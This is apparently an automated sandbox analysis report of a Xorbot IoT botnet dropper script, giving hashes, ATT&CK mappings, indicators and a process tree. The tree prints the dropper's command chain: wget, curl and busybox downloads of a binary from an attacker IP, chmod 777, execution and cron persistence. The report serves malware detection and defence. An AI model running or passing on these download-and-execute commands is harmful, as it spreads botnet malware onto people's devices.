xorbot | e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5

Analysis

max time kernel
149s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-12-2024 04:20

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General

Target

bins.sh
Size

10KB
MD5

48e22140eccdbc0e1791d3cfbd21b9a1
SHA1

d857ca79cfcd50ab3af92a32ced5fba96e8fb286
SHA256

e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5
SHA512

189e5ff3380834746664f5e1cf60f37d67c1b7f3e2e846ff497e5688f77c6073ccc2f448270f7f7c4d25cc54b929c9f07395e2e77351f222cfb5c7711e98719c
SSDEEP

192:L29ANYNCkCsC0CvCzCOb4L/2ePeu33D69AlCkCsC0CvCzC0L/2ePeun:LBYNCkCsC0CvCzCOb4L/2ePeu33DdCkX

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1489	chmod

Executes dropped EXE 1 IoCs

Processes:

WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

ioc	pid	Process
/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	1490	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Renames itself 1 IoCs

Processes:

WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

pid	Process
1491	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3QB98B	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

description	ioc	Process
File opened for reading	/proc/1477/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1511/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1543/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1561/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/14/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/27/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/80/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/946/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1580/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/10/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/21/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1283/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1059/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1104/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/12/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/81/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/419/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/480/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1569/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1575/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1239/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1499/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1520/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1531/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1361/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1501/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1519/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1528/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/15/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/23/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/82/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/159/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1567/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/421/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1110/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1502/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1576/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1496/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1591/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/164/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1114/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1537/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1583/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1592/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/34/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1323/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1513/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1518/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/420/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1000/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1275/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/16/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/588/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1331/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/17/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/587/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1255/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1585/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/35/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/155/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1560/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1535/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1547/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
File opened for reading	/proc/1553/cmdline	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	wget
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	curl
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1480
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1481
- /usr/bin/wget
  wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/chmod
  chmod 777 WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  ./WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1490
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1492
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1493
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1495
- /bin/rm
  rm WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  PID:1497
- /usr/bin/wget
  wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.3QB98B

Filesize
210B

MD5
695b49d56eba1fcd155d584cffcd9ab8

SHA1
65f4cad67a7b5d1983c01438ac71d70d113d74ed

SHA256
fd8f62beb3817bb334c0d5f077314bdbfdc2d6099bd0783739445987917e28b0

SHA512
471749af6dbe4286bef4a8708b52b09b32044b3bab9871293b7490dce1427e48bfafb40692c775e7d086148e87bdd7c81b466f6d3e2d3f208410755a68857ec1

Download Submit